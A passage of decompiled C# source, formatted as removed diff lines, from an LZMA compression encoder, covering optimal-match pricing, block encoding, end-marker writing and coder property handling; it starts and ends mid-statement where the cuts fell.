((lenToPosState << 6) + Encoder.GetPosSlot2(pos))] + this._alignPrices[(IntPtr) (pos & 15U)] : this._distancesPrices[(IntPtr) (lenToPosState * 128U + pos)]) + this._lenEncoder.GetPrice(len - 2U, posState); - } - - private uint Backward(out uint backRes, uint cur) - { - this._optimumEndIndex = cur; - uint posPrev = this._optimum[(IntPtr) cur].PosPrev; - uint backPrev = this._optimum[(IntPtr) cur].BackPrev; - do - { - if (this._optimum[(IntPtr) cur].Prev1IsChar) - { - this._optimum[(IntPtr) posPrev].MakeAsChar(); - this._optimum[(IntPtr) posPrev].PosPrev = posPrev - 1U; - if (this._optimum[(IntPtr) cur].Prev2) - { - this._optimum[(IntPtr) (posPrev - 1U)].Prev1IsChar = false; - this._optimum[(IntPtr) (posPrev - 1U)].PosPrev = this._optimum[(IntPtr) cur].PosPrev2; - this._optimum[(IntPtr) (posPrev - 1U)].BackPrev = this._optimum[(IntPtr) cur].BackPrev2; - } - } - uint index = posPrev; - uint num = backPrev; - backPrev = this._optimum[(IntPtr) index].BackPrev; - posPrev = this._optimum[(IntPtr) index].PosPrev; - this._optimum[(IntPtr) index].BackPrev = num; - this._optimum[(IntPtr) index].PosPrev = cur; - cur = index; - } - while (cur > 0U); - backRes = this._optimum[0].BackPrev; - this._optimumCurrentIndex = this._optimum[0].PosPrev; - return this._optimumCurrentIndex; - } - - private uint GetOptimum(uint position, out uint backRes) - { - if ((int) this._optimumEndIndex != (int) this._optimumCurrentIndex) - { - uint optimum = this._optimum[(IntPtr) this._optimumCurrentIndex].PosPrev - this._optimumCurrentIndex; - backRes = this._optimum[(IntPtr) this._optimumCurrentIndex].BackPrev; - this._optimumCurrentIndex = this._optimum[(IntPtr) this._optimumCurrentIndex].PosPrev; - return optimum; - } - this._optimumCurrentIndex = this._optimumEndIndex = 0U; - uint lenRes1; - uint numDistancePairs; - if (!this._longestMatchWasFound) - { - this.ReadMatchDistances(out lenRes1, out numDistancePairs); - } - else - { - lenRes1 = this._longestMatchLength; - numDistancePairs = this._numDistancePairs; - this._longestMatchWasFound = false; - } - uint num1 = this._matchFinder.GetNumAvailableBytes() + 1U; - if (num1 < 2U) - { - backRes = uint.MaxValue; - return 1; - } - if (num1 > 273U) - ; - uint index1 = 0; - for (uint index2 = 0; index2 < 4U; ++index2) - { - this.reps[(IntPtr) index2] = this._repDistances[(IntPtr) index2]; - this.repLens[(IntPtr) index2] = this._matchFinder.GetMatchLen(-1, this.reps[(IntPtr) index2], 273U); - if (this.repLens[(IntPtr) index2] > this.repLens[(IntPtr) index1]) - index1 = index2; - } - if (this.repLens[(IntPtr) index1] >= this._numFastBytes) - { - backRes = index1; - uint repLen = this.repLens[(IntPtr) index1]; - this.MovePos(repLen - 1U); - return repLen; - } - if (lenRes1 >= this._numFastBytes) - { - backRes = this._matchDistances[(IntPtr) (numDistancePairs - 1U)] + 4U; - this.MovePos(lenRes1 - 1U); - return lenRes1; - } - byte indexByte1 = this._matchFinder.GetIndexByte(-1); - byte indexByte2 = this._matchFinder.GetIndexByte(-(int) this._repDistances[0] - 1 - 1); - if (lenRes1 < 2U && (int) indexByte1 != (int) indexByte2 && this.repLens[(IntPtr) index1] < 2U) - { - backRes = uint.MaxValue; - return 1; - } - this._optimum[0].State = this._state; - uint posState1 = position & this._posStateMask; - Encoder.Optimal optimal1 = this._optimum[1]; - int price0 = (int) this._isMatch[(IntPtr) ((this._state.Index << 4) + posState1)].GetPrice0(); - Encoder.LiteralEncoder.Encoder2 subCoder = this._literalEncoder.GetSubCoder(position, this._previousByte); - int price1 = (int) subCoder.GetPrice(!this._state.IsCharState(), indexByte2, indexByte1); - int num2 = price0 + price1; - optimal1.Price = (uint) num2; - this._optimum[1].MakeAsChar(); - uint price1_1 = this._isMatch[(IntPtr) ((this._state.Index << 4) + posState1)].GetPrice1(); - uint num3 = price1_1 + this._isRep[(IntPtr) this._state.Index].GetPrice1(); - if ((int) indexByte2 == (int) indexByte1) - { - uint num4 = num3 + this.GetRepLen1Price(this._state, posState1); - if (num4 < this._optimum[1].Price) - { - this._optimum[1].Price = num4; - this._optimum[1].MakeAsShortRep(); - } - } - uint num5 = lenRes1 >= this.repLens[(IntPtr) index1] ? lenRes1 : this.repLens[(IntPtr) index1]; - if (num5 < 2U) - { - backRes = this._optimum[1].BackPrev; - return 1; - } - this._optimum[1].PosPrev = 0U; - this._optimum[0].Backs0 = this.reps[0]; - this._optimum[0].Backs1 = this.reps[1]; - this._optimum[0].Backs2 = this.reps[2]; - this._optimum[0].Backs3 = this.reps[3]; - uint num6 = num5; - do - { - this._optimum[(IntPtr) num6--].Price = 268435455U; - } - while (num6 >= 2U); - for (uint repIndex = 0; repIndex < 4U; ++repIndex) - { - uint repLen = this.repLens[(IntPtr) repIndex]; - if (repLen >= 2U) - { - uint num7 = num3 + this.GetPureRepPrice(repIndex, this._state, posState1); - do - { - uint num8 = num7 + this._repMatchLenEncoder.GetPrice(repLen - 2U, posState1); - Encoder.Optimal optimal2 = this._optimum[(IntPtr) repLen]; - if (num8 < optimal2.Price) - { - optimal2.Price = num8; - optimal2.PosPrev = 0U; - optimal2.BackPrev = repIndex; - optimal2.Prev1IsChar = false; - } - } - while (--repLen >= 2U); - } - } - uint num9 = price1_1 + this._isRep[(IntPtr) this._state.Index].GetPrice0(); - uint len = this.repLens[0] >= 2U ? this.repLens[0] + 1U : 2U; - if (len <= lenRes1) - { - uint index3 = 0; - while (len > this._matchDistances[(IntPtr) index3]) - index3 += 2U; - while (true) - { - uint matchDistance = this._matchDistances[(IntPtr) (index3 + 1U)]; - uint num10 = num9 + this.GetPosLenPrice(matchDistance, len, posState1); - Encoder.Optimal optimal3 = this._optimum[(IntPtr) len]; - if (num10 < optimal3.Price) - { - optimal3.Price = num10; - optimal3.PosPrev = 0U; - optimal3.BackPrev = matchDistance + 4U; - optimal3.Prev1IsChar = false; - } - if ((int) len == (int) this._matchDistances[(IntPtr) index3]) - { - index3 += 2U; - if ((int) index3 == (int) numDistancePairs) - break; - } - ++len; - } - } - uint cur = 0; -label_45: - uint lenRes2; - Base.State state1; - uint posState2; - uint num11; - uint num12; - uint num13; - do - { - byte indexByte3; - byte indexByte4; - uint num14; - bool flag; - uint num15; - uint limit1; - do - { - ++cur; - if ((int) cur == (int) num5) - return this.Backward(out backRes, cur); - this.ReadMatchDistances(out lenRes2, out numDistancePairs); - if (lenRes2 >= this._numFastBytes) - { - this._numDistancePairs = numDistancePairs; - this._longestMatchLength = lenRes2; - this._longestMatchWasFound = true; - return this.Backward(out backRes, cur); - } - ++position; - uint index4 = this._optimum[(IntPtr) cur].PosPrev; - if (this._optimum[(IntPtr) cur].Prev1IsChar) - { - --index4; - if (this._optimum[(IntPtr) cur].Prev2) - { - state1 = this._optimum[(IntPtr) this._optimum[(IntPtr) cur].PosPrev2].State; - if (this._optimum[(IntPtr) cur].BackPrev2 < 4U) - state1.UpdateRep(); - else - state1.UpdateMatch(); - } - else - state1 = this._optimum[(IntPtr) index4].State; - state1.UpdateChar(); - } - else - state1 = this._optimum[(IntPtr) index4].State; - if ((int) index4 == (int) cur - 1) - { - if (this._optimum[(IntPtr) cur].IsShortRep()) - state1.UpdateShortRep(); - else - state1.UpdateChar(); - } - else - { - uint num16; - if (this._optimum[(IntPtr) cur].Prev1IsChar && this._optimum[(IntPtr) cur].Prev2) - { - index4 = this._optimum[(IntPtr) cur].PosPrev2; - num16 = this._optimum[(IntPtr) cur].BackPrev2; - state1.UpdateRep(); - } - else - { - num16 = this._optimum[(IntPtr) cur].BackPrev; - if (num16 < 4U) - state1.UpdateRep(); - else - state1.UpdateMatch(); - } - Encoder.Optimal optimal4 = this._optimum[(IntPtr) index4]; - if (num16 < 4U) - { - switch (num16) - { - case 0: - this.reps[0] = optimal4.Backs0; - this.reps[1] = optimal4.Backs1; - this.reps[2] = optimal4.Backs2; - this.reps[3] = optimal4.Backs3; - break; - case 1: - this.reps[0] = optimal4.Backs1; - this.reps[1] = optimal4.Backs0; - this.reps[2] = optimal4.Backs2; - this.reps[3] = optimal4.Backs3; - break; - case 2: - this.reps[0] = optimal4.Backs2; - this.reps[1] = optimal4.Backs0; - this.reps[2] = optimal4.Backs1; - this.reps[3] = optimal4.Backs3; - break; - default: - this.reps[0] = optimal4.Backs3; - this.reps[1] = optimal4.Backs0; - this.reps[2] = optimal4.Backs1; - this.reps[3] = optimal4.Backs2; - break; - } - } - else - { - this.reps[0] = num16 - 4U; - this.reps[1] = optimal4.Backs0; - this.reps[2] = optimal4.Backs1; - this.reps[3] = optimal4.Backs2; - } - } - this._optimum[(IntPtr) cur].State = state1; - this._optimum[(IntPtr) cur].Backs0 = this.reps[0]; - this._optimum[(IntPtr) cur].Backs1 = this.reps[1]; - this._optimum[(IntPtr) cur].Backs2 = this.reps[2]; - this._optimum[(IntPtr) cur].Backs3 = this.reps[3]; - uint price2 = this._optimum[(IntPtr) cur].Price; - indexByte3 = this._matchFinder.GetIndexByte(-1); - indexByte4 = this._matchFinder.GetIndexByte(-(int) this.reps[0] - 1 - 1); - posState2 = position & this._posStateMask; - int num17 = (int) price2 + (int) this._isMatch[(IntPtr) ((state1.Index << 4) + posState2)].GetPrice0(); - subCoder = this._literalEncoder.GetSubCoder(position, this._matchFinder.GetIndexByte(-2)); - int price3 = (int) subCoder.GetPrice(!state1.IsCharState(), indexByte4, indexByte3); - num14 = (uint) (num17 + price3); - Encoder.Optimal optimal5 = this._optimum[(IntPtr) (cur + 1U)]; - flag = false; - if (num14 < optimal5.Price) - { - optimal5.Price = num14; - optimal5.PosPrev = cur; - optimal5.MakeAsChar(); - flag = true; - } - num11 = price2 + this._isMatch[(IntPtr) ((state1.Index << 4) + posState2)].GetPrice1(); - num15 = num11 + this._isRep[(IntPtr) state1.Index].GetPrice1(); - if ((int) indexByte4 == (int) indexByte3 && (optimal5.PosPrev >= cur || optimal5.BackPrev != 0U)) - { - uint num18 = num15 + this.GetRepLen1Price(state1, posState2); - if (num18 <= optimal5.Price) - { - optimal5.Price = num18; - optimal5.PosPrev = cur; - optimal5.MakeAsShortRep(); - flag = true; - } - } - uint val2 = this._matchFinder.GetNumAvailableBytes() + 1U; - num12 = Math.Min(4095U - cur, val2); - limit1 = num12; - } - while (limit1 < 2U); - if (limit1 > this._numFastBytes) - limit1 = this._numFastBytes; - if (!flag && (int) indexByte4 != (int) indexByte3) - { - uint matchLen = this._matchFinder.GetMatchLen(0, this.reps[0], Math.Min(num12 - 1U, this._numFastBytes)); - if (matchLen >= 2U) - { - Base.State state2 = state1; - state2.UpdateChar(); - uint posState3 = position + 1U & this._posStateMask; - uint num19 = num14 + this._isMatch[(IntPtr) ((state2.Index << 4) + posState3)].GetPrice1() + this._isRep[(IntPtr) state2.Index].GetPrice1(); - uint index5 = cur + 1U + matchLen; - while (num5 < index5) - this._optimum[(IntPtr) ++num5].Price = 268435455U; - uint num20 = num19 + this.GetRepPrice(0U, matchLen, state2, posState3); - Encoder.Optimal optimal6 = this._optimum[(IntPtr) index5]; - if (num20 < optimal6.Price) - { - optimal6.Price = num20; - optimal6.PosPrev = cur + 1U; - optimal6.BackPrev = 0U; - optimal6.Prev1IsChar = true; - optimal6.Prev2 = false; - } - } - } - num13 = 2U; - for (uint repIndex = 0; repIndex < 4U; ++repIndex) - { - uint matchLen1 = this._matchFinder.GetMatchLen(-1, this.reps[(IntPtr) repIndex], limit1); - if (matchLen1 >= 2U) - { - uint num21 = matchLen1; - do - { - while (num5 < cur + matchLen1) - this._optimum[(IntPtr) ++num5].Price = 268435455U; - uint num22 = num15 + this.GetRepPrice(repIndex, matchLen1, state1, posState2); - Encoder.Optimal optimal7 = this._optimum[(IntPtr) (cur + matchLen1)]; - if (num22 < optimal7.Price) - { - optimal7.Price = num22; - optimal7.PosPrev = cur; - optimal7.BackPrev = repIndex; - optimal7.Prev1IsChar = false; - } - } - while (--matchLen1 >= 2U); - uint num23 = num21; - if (repIndex == 0U) - num13 = num23 + 1U; - if (num23 < num12) - { - uint limit2 = Math.Min(num12 - 1U - num23, this._numFastBytes); - uint matchLen2 = this._matchFinder.GetMatchLen((int) num23, this.reps[(IntPtr) repIndex], limit2); - if (matchLen2 >= 2U) - { - Base.State state3 = state1; - state3.UpdateRep(); - uint num24 = position + num23 & this._posStateMask; - int num25 = (int) num15 + (int) this.GetRepPrice(repIndex, num23, state1, posState2) + (int) this._isMatch[(IntPtr) ((state3.Index << 4) + num24)].GetPrice0(); - subCoder = this._literalEncoder.GetSubCoder(position + num23, this._matchFinder.GetIndexByte((int) num23 - 1 - 1)); - int price4 = (int) subCoder.GetPrice(true, this._matchFinder.GetIndexByte((int) num23 - 1 - ((int) this.reps[(IntPtr) repIndex] + 1)), this._matchFinder.GetIndexByte((int) num23 - 1)); - uint num26 = (uint) (num25 + price4); - state3.UpdateChar(); - uint posState4 = (uint) ((int) position + (int) num23 + 1) & this._posStateMask; - uint num27 = num26 + this._isMatch[(IntPtr) ((state3.Index << 4) + posState4)].GetPrice1() + this._isRep[(IntPtr) state3.Index].GetPrice1(); - uint num28 = num23 + 1U + matchLen2; - while (num5 < cur + num28) - this._optimum[(IntPtr) ++num5].Price = 268435455U; - uint num29 = num27 + this.GetRepPrice(0U, matchLen2, state3, posState4); - Encoder.Optimal optimal8 = this._optimum[(IntPtr) (cur + num28)]; - if (num29 < optimal8.Price) - { - optimal8.Price = num29; - optimal8.PosPrev = (uint) ((int) cur + (int) num23 + 1); - optimal8.BackPrev = 0U; - optimal8.Prev1IsChar = true; - optimal8.Prev2 = true; - optimal8.PosPrev2 = cur; - optimal8.BackPrev2 = repIndex; - } - } - } - } - } - if (lenRes2 > limit1) - { - lenRes2 = limit1; - uint index6 = 0; - while (lenRes2 > this._matchDistances[(IntPtr) index6]) - index6 += 2U; - this._matchDistances[(IntPtr) index6] = lenRes2; - numDistancePairs = index6 + 2U; - } - } - while (lenRes2 < num13); - uint num30 = num11 + this._isRep[(IntPtr) state1.Index].GetPrice0(); - while (num5 < cur + lenRes2) - this._optimum[(IntPtr) ++num5].Price = 268435455U; - uint index7 = 0; - while (num13 > this._matchDistances[(IntPtr) index7]) - index7 += 2U; - uint num31 = num13; - while (true) - { - uint matchDistance = this._matchDistances[(IntPtr) (index7 + 1U)]; - uint num32 = num30 + this.GetPosLenPrice(matchDistance, num31, posState2); - Encoder.Optimal optimal9 = this._optimum[(IntPtr) (cur + num31)]; - if (num32 < optimal9.Price) - { - optimal9.Price = num32; - optimal9.PosPrev = cur; - optimal9.BackPrev = matchDistance + 4U; - optimal9.Prev1IsChar = false; - } - if ((int) num31 == (int) this._matchDistances[(IntPtr) index7]) - { - if (num31 < num12) - { - uint limit = Math.Min(num12 - 1U - num31, this._numFastBytes); - uint matchLen = this._matchFinder.GetMatchLen((int) num31, matchDistance, limit); - if (matchLen >= 2U) - { - Base.State state4 = state1; - state4.UpdateMatch(); - uint num33 = position + num31 & this._posStateMask; - int num34 = (int) num32 + (int) this._isMatch[(IntPtr) ((state4.Index << 4) + num33)].GetPrice0(); - subCoder = this._literalEncoder.GetSubCoder(position + num31, this._matchFinder.GetIndexByte((int) num31 - 1 - 1)); - int price5 = (int) subCoder.GetPrice(true, this._matchFinder.GetIndexByte((int) num31 - ((int) matchDistance + 1) - 1), this._matchFinder.GetIndexByte((int) num31 - 1)); - uint num35 = (uint) (num34 + price5); - state4.UpdateChar(); - uint posState5 = (uint) ((int) position + (int) num31 + 1) & this._posStateMask; - uint num36 = num35 + this._isMatch[(IntPtr) ((state4.Index << 4) + posState5)].GetPrice1() + this._isRep[(IntPtr) state4.Index].GetPrice1(); - uint num37 = num31 + 1U + matchLen; - while (num5 < cur + num37) - this._optimum[(IntPtr) ++num5].Price = 268435455U; - uint num38 = num36 + this.GetRepPrice(0U, matchLen, state4, posState5); - Encoder.Optimal optimal10 = this._optimum[(IntPtr) (cur + num37)]; - if (num38 < optimal10.Price) - { - optimal10.Price = num38; - optimal10.PosPrev = (uint) ((int) cur + (int) num31 + 1); - optimal10.BackPrev = 0U; - optimal10.Prev1IsChar = true; - optimal10.Prev2 = true; - optimal10.PosPrev2 = cur; - optimal10.BackPrev2 = matchDistance + 4U; - } - } - } - index7 += 2U; - if ((int) index7 == (int) numDistancePairs) - goto label_45; - } - ++num31; - } - } - - private bool ChangePair(uint smallDist, uint bigDist) => smallDist < 33554432U && bigDist >= smallDist << 7; - - private void WriteEndMarker(uint posState) - { - if (!this._writeEndMark) - return; - this._isMatch[(IntPtr) ((this._state.Index << 4) + posState)].Encode(this._rangeEncoder, 1U); - this._isRep[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 0U); - this._state.UpdateMatch(); - uint len = 2; - this._lenEncoder.Encode(this._rangeEncoder, len - 2U, posState); - uint symbol = 63; - this._posSlotEncoder[(IntPtr) Base.GetLenToPosState(len)].Encode(this._rangeEncoder, symbol); - int num1 = 30; - uint num2 = (uint) ((1 << num1) - 1); - this._rangeEncoder.EncodeDirectBits(num2 >> 4, num1 - 4); - this._posAlignEncoder.ReverseEncode(this._rangeEncoder, num2 & 15U); - } - - private void Flush(uint nowPos) - { - this.ReleaseMFStream(); - this.WriteEndMarker(nowPos & this._posStateMask); - this._rangeEncoder.FlushData(); - this._rangeEncoder.FlushStream(); - } - - public void CodeOneBlock(out long inSize, out long outSize, out bool finished) - { - inSize = 0L; - outSize = 0L; - finished = true; - if (this._inStream != null) - { - this._matchFinder.SetStream(this._inStream); - this._matchFinder.Init(); - this._needReleaseMFStream = true; - this._inStream = (Stream) null; - if (this._trainSize > 0U) - this._matchFinder.Skip(this._trainSize); - } - if (this._finished) - return; - this._finished = true; - long nowPos64 = this.nowPos64; - if (this.nowPos64 == 0L) - { - if (this._matchFinder.GetNumAvailableBytes() == 0U) - { - this.Flush((uint) this.nowPos64); - return; - } - this.ReadMatchDistances(out uint _, out uint _); - this._isMatch[(IntPtr) ((this._state.Index << 4) + ((uint) this.nowPos64 & this._posStateMask))].Encode(this._rangeEncoder, 0U); - this._state.UpdateChar(); - byte indexByte = this._matchFinder.GetIndexByte(-(int) this._additionalOffset); - this._literalEncoder.GetSubCoder((uint) this.nowPos64, this._previousByte).Encode(this._rangeEncoder, indexByte); - this._previousByte = indexByte; - --this._additionalOffset; - ++this.nowPos64; - } - if (this._matchFinder.GetNumAvailableBytes() == 0U) - { - this.Flush((uint) this.nowPos64); - } - else - { - do - { - do - { - uint backRes; - uint optimum = this.GetOptimum((uint) this.nowPos64, out backRes); - uint posState = (uint) this.nowPos64 & this._posStateMask; - uint index1 = (this._state.Index << 4) + posState; - if (optimum == 1U && backRes == uint.MaxValue) - { - this._isMatch[(IntPtr) index1].Encode(this._rangeEncoder, 0U); - byte indexByte1 = this._matchFinder.GetIndexByte(-(int) this._additionalOffset); - Encoder.LiteralEncoder.Encoder2 subCoder = this._literalEncoder.GetSubCoder((uint) this.nowPos64, this._previousByte); - if (!this._state.IsCharState()) - { - byte indexByte2 = this._matchFinder.GetIndexByte(-(int) this._repDistances[0] - 1 - (int) this._additionalOffset); - subCoder.EncodeMatched(this._rangeEncoder, indexByte2, indexByte1); - } - else - subCoder.Encode(this._rangeEncoder, indexByte1); - this._previousByte = indexByte1; - this._state.UpdateChar(); - } - else - { - this._isMatch[(IntPtr) index1].Encode(this._rangeEncoder, 1U); - if (backRes < 4U) - { - this._isRep[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 1U); - if (backRes == 0U) - { - this._isRepG0[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 0U); - if (optimum == 1U) - this._isRep0Long[(IntPtr) index1].Encode(this._rangeEncoder, 0U); - else - this._isRep0Long[(IntPtr) index1].Encode(this._rangeEncoder, 1U); - } - else - { - this._isRepG0[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 1U); - if (backRes == 1U) - { - this._isRepG1[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 0U); - } - else - { - this._isRepG1[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 1U); - this._isRepG2[(IntPtr) this._state.Index].Encode(this._rangeEncoder, backRes - 2U); - } - } - if (optimum == 1U) - { - this._state.UpdateShortRep(); - } - else - { - this._repMatchLenEncoder.Encode(this._rangeEncoder, optimum - 2U, posState); - this._state.UpdateRep(); - } - uint repDistance = this._repDistances[(IntPtr) backRes]; - if (backRes != 0U) - { - for (uint index2 = backRes; index2 >= 1U; --index2) - this._repDistances[(IntPtr) index2] = this._repDistances[(IntPtr) (index2 - 1U)]; - this._repDistances[0] = repDistance; - } - } - else - { - this._isRep[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 0U); - this._state.UpdateMatch(); - this._lenEncoder.Encode(this._rangeEncoder, optimum - 2U, posState); - backRes -= 4U; - uint posSlot = Encoder.GetPosSlot(backRes); - this._posSlotEncoder[(IntPtr) Base.GetLenToPosState(optimum)].Encode(this._rangeEncoder, posSlot); - if (posSlot >= 4U) - { - int NumBitLevels = (int) (posSlot >> 1) - 1; - uint num = (uint) ((2 | (int) posSlot & 1) << NumBitLevels); - uint symbol = backRes - num; - if (posSlot < 14U) - { - BitTreeEncoder.ReverseEncode(this._posEncoders, (uint) ((int) num - (int) posSlot - 1), this._rangeEncoder, NumBitLevels, symbol); - } - else - { - this._rangeEncoder.EncodeDirectBits(symbol >> 4, NumBitLevels - 4); - this._posAlignEncoder.ReverseEncode(this._rangeEncoder, symbol & 15U); - ++this._alignPriceCount; - } - } - uint num1 = backRes; - for (uint index3 = 3; index3 >= 1U; --index3) - this._repDistances[(IntPtr) index3] = this._repDistances[(IntPtr) (index3 - 1U)]; - this._repDistances[0] = num1; - ++this._matchPriceCount; - } - this._previousByte = this._matchFinder.GetIndexByte((int) optimum - 1 - (int) this._additionalOffset); - } - this._additionalOffset -= optimum; - this.nowPos64 += (long) optimum; - } - while (this._additionalOffset != 0U); - if (this._matchPriceCount >= 128U) - this.FillDistancesPrices(); - if (this._alignPriceCount >= 16U) - this.FillAlignPrices(); - inSize = this.nowPos64; - outSize = this._rangeEncoder.GetProcessedSizeAdd(); - if (this._matchFinder.GetNumAvailableBytes() == 0U) - { - this.Flush((uint) this.nowPos64); - return; - } - } - while (this.nowPos64 - nowPos64 < 4096L); - this._finished = false; - finished = false; - } - } - - private void ReleaseMFStream() - { - if (this._matchFinder == null || !this._needReleaseMFStream) - return; - this._matchFinder.ReleaseStream(); - this._needReleaseMFStream = false; - } - - private void SetOutStream(Stream outStream) => this._rangeEncoder.SetStream(outStream); - - private void ReleaseOutStream() => this._rangeEncoder.ReleaseStream(); - - private void ReleaseStreams() - { - this.ReleaseMFStream(); - this.ReleaseOutStream(); - } - - private void SetStreams(Stream inStream, Stream outStream, long inSize, long outSize) - { - this._inStream = inStream; - this._finished = false; - this.Create(); - this.SetOutStream(outStream); - this.Init(); - this.FillDistancesPrices(); - this.FillAlignPrices(); - this._lenEncoder.SetTableSize((uint) ((int) this._numFastBytes + 1 - 2)); - this._lenEncoder.UpdateTables((uint) (1 << this._posStateBits)); - this._repMatchLenEncoder.SetTableSize((uint) ((int) this._numFastBytes + 1 - 2)); - this._repMatchLenEncoder.UpdateTables((uint) (1 << this._posStateBits)); - this.nowPos64 = 0L; - } - - public void Code( - Stream inStream, - Stream outStream, - long inSize, - long outSize, - ICodeProgress progress) - { - this._needReleaseMFStream = false; - try - { - this.SetStreams(inStream, outStream, inSize, outSize); - while (true) - { - long inSize1; - long outSize1; - do - { - bool finished; - this.CodeOneBlock(out inSize1, out outSize1, out finished); - if (finished) - goto label_3; - } - while (progress == null); - progress.SetProgress(inSize1, outSize1); - } -label_3:; - } - finally - { - this.ReleaseStreams(); - } - } - - public void WriteCoderProperties(Stream outStream) - { - this.properties[0] = (byte) ((this._posStateBits * 5 + this._numLiteralPosStateBits) * 9 + this._numLiteralContextBits); - for (int index = 0; index < 4; ++index) - this.properties[1 + index] = (byte) (this._dictionarySize >> 8 * index & (uint) byte.MaxValue); - outStream.Write(this.properties, 0, 5); - } - - private void FillDistancesPrices() - { - for (uint pos = 4; pos < 128U; ++pos) - { - uint posSlot = Encoder.GetPosSlot(pos); - int NumBitLevels = (int) (posSlot >> 1) - 1; - uint num = (uint) ((2 | (int) posSlot & 1) << NumBitLevels); - this.tempPrices[(IntPtr) pos] = BitTreeEncoder.ReverseGetPrice(this._posEncoders, (uint) ((int) num - (int) posSlot - 1), NumBitLevels, pos - num); - } - for (uint index1 = 0; index1 < 4U; ++index1) - { - BitTreeEncoder bitTreeEncoder = this._posSlotEncoder[(IntPtr) index1]; - uint num1 = index1 << 6; - for (uint symbol = 0; symbol < this._distTableSize; ++symbol) - this._posSlotPrices[(IntPtr) (num1 + symbol)] = bitTreeEncoder.GetPrice(symbol); - for (uint index2 = 14; index2 < this._distTableSize; ++index2) - this._posSlotPrices[(IntPtr) (num1 + index2)] += (uint) ((int) (index2 >> 1) - 1 - 4 << 6); - uint num2 = index1 * 128U; - uint pos; - for (pos = 0U; pos < 4U; ++pos) - this._distancesPrices[(IntPtr) (num2 + pos)] = this._posSlotPrices[(IntPtr) (num1 + pos)]; - for (; pos < 128U; ++pos) - this._distancesPrices[(IntPtr) (num2 + pos)] = this._posSlotPrices[(IntPtr) (num1 + Encoder.GetPosSlot(pos))] + this.tempPrices[(IntPtr) pos]; - } - this._matchPriceCount = 0U; - } - - private void FillAlignPrices() - { - for (uint symbol = 0; symbol < 16U; ++symbol) - this._alignPrices[(IntPtr) symbol] = this._posAlignEncoder.ReverseGetPrice(symbol); - this._alignPriceCount = 0U; - } - - private static int FindMatchFinder(string s) - { - for (int matchFinder = 0; matchFinder < Encoder.kMatchFinderIDs.Length; ++matchFinder) - { - if (s == Encoder.kMatchFinderIDs[matchFinder]) - return matchFinder; - } - return -1; - } - - public void SetCoderProperties(CoderPropID[] propIDs, object[] properties) - { - for (uint index = 0; (long) index < (long) properties.Length; ++index) - { - object property = properties[(IntPtr) index]; - switch (propIDs[(IntPtr) index]) - { - case CoderPropID.DictionarySize: - if (!(property is int num1)) - throw new InvalidParamException(); - this._dictionarySize = num1 >= 1 && num1 <= 1073741824 ? (uint) num1 : throw new InvalidParamException(); - int num2 = 0; - while (num2 < 30 && (long) num1 > (long) (uint) (1 << num2)) - ++num2; - this._distTableSize = (uint) (num2 * 2); - continue; - case CoderPropID.PosStateBits: - if (!(property is int num3)) - throw new InvalidParamException(); - this._posStateBits = num3 >= 0 && num3 <= 4 ? num3 : throw new InvalidParamException(); - this._posStateMask = (uint) ((1 << this._posStateBits) - 1); - continue; - case CoderPropID.LitContextBits: - if (!(property is int num4)) - throw new InvalidParamException(); - this._numLiteralContextBits = num4 >= 0 && num4 <= 8 ? num4 : throw new InvalidParamException(); - continue; - case CoderPropID.LitPosBits: - if (!(property is int num5)) - throw new InvalidParamException(); - this._numLiteralPosStateBits = num5 >= 0 && num5 <= 4 ? num5 : throw new InvalidParamException(); - continue; - case CoderPropID.NumFastBytes: - if (!(property is int num6)) - throw new InvalidParamException(); - this._numFastBytes = num6 >= 5 && num6 <= 273 ? (uint) num6 : throw new InvalidParamException(); - continue; - case CoderPropID.MatchFinder: - if (!(property is string)) - throw new InvalidParamException(); - Encoder.EMatchFinderType matchFinderType = this._matchFinderType; - int matchFinder = Encoder.FindMatchFinder(((string) property).ToUpper()); - this._matchFinderType = matchFinder >= 0 ? (Encoder.EMatchFinderType) matchFinder : throw new InvalidParamException(); - if (this._matchFinder != null && matchFinderType != this._matchFinderType) - { - this._dictionarySizePrev = uint.MaxValue; - this._matchFinder = (IMatchFinder) null; - continue; - } - continue; - case CoderPropID.Algorithm: - continue; - case CoderPropID.EndMarker: - if (!(property is bool writeEndMarker)) - throw new InvalidParamException(); - this.SetWriteEndMarkerMode(writeEndMarker); - continue; - default: - throw new InvalidParamException(); - } - } - } - - public void SetTrainSize(uint trainSize) => this._trainSize = trainSize; - - private enum EMatchFinderType - { - BT2, - BT4, - } - - private class LiteralEncoder - { - private Encoder.LiteralEncoder.Encoder2[] m_Coders; - private int m_NumPrevBits; - private int m_NumPosBits; - private uint m_PosMask; - - public void Create(int numPosBits, int numPrevBits) - { - if (this.m_Coders != null && this.m_NumPrevBits == numPrevBits && this.m_NumPosBits == numPosBits) - return; - this.m_NumPosBits = numPosBits; - this.m_PosMask = (uint) ((1 << numPosBits) - 1); - this.m_NumPrevBits = numPrevBits; - uint length = (uint) (1 << this.m_NumPrevBits + this.m_NumPosBits); - this.m_Coders = new Encoder.LiteralEncoder.Encoder2[(IntPtr) length]; - for (uint index = 0; index < length; ++index) - this.m_Coders[(IntPtr) index].Create(); - } - - public void Init() - { - uint num = (uint) (1 << this.m_NumPrevBits + this.m_NumPosBits); - for (uint index = 0; index < num; ++index) - this.m_Coders[(IntPtr) index].Init(); - } - - public Encoder.LiteralEncoder.Encoder2 GetSubCoder(uint pos, byte prevByte) => this.m_Coders[(IntPtr) (uint) ((((int) pos & (int) this.m_PosMask) << this.m_NumPrevBits) + ((int) prevByte >> 8 - this.m_NumPrevBits))]; - - public struct Encoder2 - { - private BitEncoder[] m_Encoders; - - public void Create() => this.m_Encoders = new BitEncoder[768]; - - public void Init() - { - for (int index = 0; index < 768; ++index) - this.m_Encoders[index].Init(); - } - - public void Encode(SevenZip.Compression.RangeCoder.Encoder rangeEncoder, byte symbol) - { - uint index1 = 1; - for (int index2 = 7; index2 >= 0; --index2) - { - uint symbol1 = (uint) ((int) symbol >> index2 & 1); - this.m_Encoders[(IntPtr) index1].Encode(rangeEncoder, symbol1); - index1 = index1 << 1 | symbol1; - } - } - - public void EncodeMatched(SevenZip.Compression.RangeCoder.Encoder rangeEncoder, byte matchByte, byte symbol) - { - uint num1 = 1; - bool flag = true; - for (int index1 = 7; index1 >= 0; --index1) - { - uint symbol1 = (uint) ((int) symbol 